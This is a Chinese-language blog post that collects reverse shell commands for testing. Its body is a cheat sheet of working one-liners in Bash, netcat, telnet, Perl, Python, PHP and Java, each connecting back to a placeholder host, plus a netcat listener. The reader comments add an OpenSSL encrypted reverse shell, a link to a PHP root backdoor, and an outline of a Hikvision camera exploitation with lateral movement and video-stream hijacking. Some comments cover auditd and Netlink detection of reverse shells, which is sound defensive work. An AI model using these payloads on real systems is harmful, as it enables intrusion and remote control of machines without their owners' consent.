各种反弹shell记录/总结


=Start=

缘由:

在工作中有时会需要用各种语言的反弹shell来进行测试,在此记录一下,方便要用到的时候做个参考。

正文:

参考解答:
步骤一:先在本地监听
root@kali:~# nc -nvlp 12345

备注:需要将上面的 12345 端口和下面要执行命令中的端口进行对应。

步骤二:再在远程执行反弹shell命令

# Bash

bash -i >& /dev/tcp/x.x.x.x/12345 0>&1

# nc支持’-e’

nc -e /bin/sh x.x.x.x 12345

# nc不支持’-e’

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc x.x.x.x 12345 >/tmp/f

# Telnet

rm -f /tmp/p; mknod /tmp/p p && telnet x.x.x.x 12345 0</tmp/p | /bin/bash 1>/tmp/p

# Perl

perl -e 'use Socket;$i="x.x.x.x";$p=12345;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",12345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

# PHP

php -r '$sock=fsockopen("x.x.x.x",12345);exec("/bin/sh -i <&3 >&3 2>&3");'

# Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/12345;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
参考链接:

=END=


《 “各种反弹shell记录/总结” 》 有 19 条评论

  1. PHP root (suid) reverse shell
    https://github.com/mempodippy/snodew
    `
    snodew is a PHP reverse shell backdoor which uses a small suid binary to escalate privileges on connection
    snodew is made mainly to work alongside vlany but can also be setup as a regular root backdoor
    `

  2. 反弹shell监控
    http://pirogue.org/2017/07/25/reverse-shell/
    `
    一、跟踪系统调用
    1. strace bash test.sh
    2. strace -c bash test.sh

    二、audit监控分析
    auditctl -A exit,always -S connect
    auditctl -a exit,always -F arch=b64 -F a0=2 -F a1=1 -S socket -k CONNECTION
    auditctl -a exit,always -F arch=b64 -S connect
    `

  3. 自动化反弹Shell防御技术
    https://mp.weixin.qq.com/s/5N0uYhjo8Tub1CfBLg1zjg
    `
    0×1 反弹Shell解析
    0×2 总体思路
    0×3 失败尝试
    Round 1 Syslog history of BASH
    Round 2 proc文件系统
    Round 3 bash打开事件
    0×4 成功
    Round 4 Netlink Socket

    优点:
    快速响应:由于Netlink通信机制占用系统资源很少,对于Shell进程启动事件的响应基本无延时,后续主动检测确认为反弹Shell后直接Kill。
    绕过较难:由于一般反弹Shell的姿势都是调用bash且通过重定向获取bash的标准输入输出,因此没有前置经验的情况下基本都会被防御住。
    信息全面:发现反弹Shell后,收集到Shell相关的信息包括PID、SID(可用于判断究竟是哪个进程组出现了漏洞)、当前路径(方便查找Webshell)、系统用户等,可以再深入挖掘这个技术的应用场景,也可以统一汇总到SOC等分析平台进行联动。

    缺点:
    绕过风险:仅能通过进程执行文件名判断是否为Shell进程,上传可执行文件、拷贝Bash文件到其他路径等方法会绕过这个方法。严格限制上传文件目录的执行权限、Bash文件权限可以有效限制这个风险。
    检测盲区:无法检测到直接调用Webshell执行命令的事件,因此低权限无交互的命令可以通过Webshell执行到。
    `
    https://github.com/dbrandt/proc_events

  4. Day 43: Reverse Shell with OpenSSL
    https://int0x33.medium.com/day-43-reverse-shell-with-openssl-1ee2574aa998

    OPENSSL FOR REVERSE SHELL
    https://rioasmara.com/2020/06/22/openssl-for-reverse-shell/

    Reverse shell
    https://gtfobins.github.io/gtfobins/openssl/

    Reverse shell
    https://mal-hiboux.gitlab.io/howl-to/docs/05-persistence/03-reverse-shell/
    `
    # 在攻击者机器上执行监听命令
    user@attack$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
    user@attack$ openssl s_server -quiet -key key.pem -cert cert.pem -port 4242
    // or
    user@attack$ ncat –ssl -vv -l -p 4242

    # 在受害者机器上执行反弹shell回连命令
    user@victim$ mkfifo /tmp/s; /bin/sh -i &1 | openssl s_client -quiet -connect 10.0.0.1:4242 > /tmp/s; rm /tmp/s
    `

    Encrypted reverse shell
    https://www.reddit.com/r/hackthebox/comments/i4qgu4/encrypted_reverse_shell/

  5. RCE 遇到受限 shell 的突破
    https://mp.weixin.qq.com/s/tUhpyH7aMr1NhM9JhImqlg
    `
    0x00 简介

    在一次服务项目中,涉及到对海康威视摄像头的攻击利用,要求获取摄像头的 shell,建立代理,之后做两件事
    1. 内网横向攻击
    2. 劫持视频流

    由于环境中的海康威视的摄像头系统版本本身存在漏洞,所以正常来说应该不难,但找到了我们应该是遇到了什么问题,经过测试发现海康威视对设备的 shell 进行了定制,进行了各种功能阉割

    接下来我们探索一下这种受限的 shell 如何突破

    0x01 CVE-2021-36260

    0x02 建立稳定控制
    1. 远程下载
    2. 反弹 Shell
    3. Webshell
    4. SSH

    0x03 突破受限的shell
    1. SSH 传输文件
    2. SFTP/SCP/FTP
    3. Bash 反弹shell
    4. 通过 Web 后台尝试上传
    5. 利用 SSH 隧道
    6. 通过 echo 写文件

    0x04 利用下载器
    1. 编写下载器
    2. 尝试编译程序
    3. 寻找问题原因
    4. 再次尝试编译程序
    5. 尝试远程下载代理程序
    6. 尝试建立 socks5 代理
    7. 编译 frpc
    8. 建立代理
    9. 使用代理访问受限网络

    0x05 Metasploit

    0x06 登录 Web 后台
    1. 下载数据库并备份
    2. 修改数据库
    3. 上传并覆盖原有数据库
    4. 尝试登录
    5. 新建用户
    6. 再次修改数据库
    7. 权限测试
    8. 通用性延伸

    0x07 浏览数据库
    `

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注